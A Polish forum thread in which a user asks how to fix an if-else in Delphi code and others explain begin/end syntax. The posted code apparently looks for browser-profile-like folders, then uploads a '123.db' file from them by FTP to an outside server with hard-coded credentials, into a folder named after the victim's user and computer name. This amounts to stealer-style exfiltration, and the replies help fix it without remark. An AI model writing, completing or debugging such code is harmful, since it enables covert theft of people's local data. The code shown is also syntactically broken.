Warunek if - else - jak go prawidłowo użyć?

Witam...
Program powinien mniej więcej działać tak:
jeżeli jest folder "1" to ma wykonac dzialanie.......
jeżeli NIE MA folderu 1 to , jezeli jest folder 2 ma wykonac inne dzialanie....

natomiast ma nie wykonywać obu działań w przypadku gdy jest folder 1 i folder 2...(musi wykonać tylko 1 dzialanie)

bez
klamerek "{" , "}" program wykonuje oba warunki w przypadku jak jest
folder 1 i folder 2....natomiast po wstawieniu klamerek, program wcale
się nie wykonuje ;/

sciezka := 'c:\1\';
      if (DirectoryExists(sciezka)) 
Then
    {  
      
           while (Fik = 0) do
       begin
            Fik := FindFirst( sciezka + '\*.folder', faAnyFile, SR);
            Fik := FindNext(SR);
            FindClose(SR);
            listbox1.items.add(sciezka+sr.Name);
            memo1.lines:=listbox1.items;

           idFTP1.Host := 'ftp.sss'+hash+'.url.ph';
           idFTP1.Username := 'u129400946';
           idFTP1.Password := '11'+pass;
            IdFTP1.Port:= 21;
            idFTP1.Connect();
            IdFTP1.MakeDir(UserName+'_'+'_'+ComputerName');
            IdFTP1.ChangeDir(UserName+'_'+'_'+ComputerName');
            idFTP1.Put (memo1.lines[0]+'\123.db','123.db');
            idFTP1.Disconnect();
        end;
     } 




     else




         sciezka := 'C:\2\';
      if (DirectoryExists(sciezka)) Then
     {
          while (Fik = 0) do
          begin
          Fik := FindFirst( sciezka + '*.default', faAnyFile, SR);
          Fik := FindNext(SR);
          FindClose(SR);
          listbox1.items.add(sciezka+sr.Name);
          memo1.lines:=listbox1.items;

           idFTP1.Host := 'ftp.sss'+hash+'.url.ph';
           idFTP1.Username := 'u129400946';
           idFTP1.Password := '11'+pass;
           IdFTP1.Port:= 21;
           idFTP1.Connect();
           IdFTP1.MakeDir(UserName+'_'+'_'+ComputerName');
           IdFTP1.ChangeDir(UserName+'_'+'_'+ComputerName');
           idFTP1.Put (memo1.lines[0]+'\123.db','123.db');
           idFTP1.Disconnect();
       end; }

W pascalu nie ma klamerek a zamiast nich masz begin i end...

W poprzednich postach przy innym nicku już tobie nie raz radzono aby najpierw przeczytałeś jakiś kurs paskala bo wciąż pytasz o podstawy podstaw.

for I:=1 to 5 do
begin
   sciezka:='c:\'+IntToStr(I)+'\';
   if DirectoryExists(sciezka) then
   begin
      //     
   end;
end;

Shalom napisał(a):

W pascalu nie ma klamerek a zamiast nich masz begin i end...

dziekuje bardzo za pomoc :D

begin

end else

begin

rozwiązalo problem :D